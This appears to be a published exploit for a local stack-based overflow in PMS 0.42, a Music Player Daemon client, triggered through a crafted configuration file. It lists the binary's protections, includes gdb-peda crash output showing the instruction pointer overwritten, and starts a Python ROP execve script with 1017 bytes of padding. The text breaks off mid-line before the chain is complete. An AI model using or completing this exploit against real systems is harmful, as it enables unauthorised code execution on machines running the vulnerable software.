# Exploit Author: Juan Sacco - http://exploitpack.com # Vulnerability found using Exploit Pack v10 - Fuzzer local module # # Tested on: Kali i686 GNU/Linux # # Description: PMS 0.42 is prone to a local unauthenticated stack-based overflow # The vulnerability is due to an unproper filter of user supplied input while reading # the configuration file and parsing the malicious crafted values. # # 0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n") # 0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A' ...) # 0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('') # # Program: PMS 0.42 Practical Music Search, an MPD client # PMS is an ncurses based client for Music Player Daemon. # Vendor homepage: https://pms.sourceforge.net # Kali Filename: pool/main/p/pms/pms_0.42-1+b2_i386.deb # # CANARY : disabled # FORTIFY : disabled # NX : ENABLED # PIE : disabled # RELRO : Partial # #0000| 0xbfffe6c0 --> 0x4592a0 --> 0x45f870 --> 0x4 #0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n") #0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A' ...) #0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('') #0016| 0xbfffe6d0 --> 0x4637ef ("german") #0020| 0xbfffe6d4 --> 0x4637f6 ("de_DE.ISO-8859-1") #0024| 0xbfffe6d8 --> 0x46adb0 ("AAAA\240\312F") #0028| 0xbfffe6dc ("2018-04-04 06:57:58") #Legend: code, data, rodata, value #Stopped reason: SIGSEGV #0x0042f6c6 in Pms::log (this=, verbosity=, code=0x41414141, format=) at src/pms.cpp:982 #982 if (!disp && verbosity < MSG_DEBUG) #gdb-peda$ backtrace #0 0x0042f6c6 in Pms::log (this=, verbosity=, code=0x41414141, format=) at src/pms.cpp:982 #1 0x41414141 in ?? () import os, subprocess from struct import pack # rop execve rop = "A"*1017 # junk rop += pack('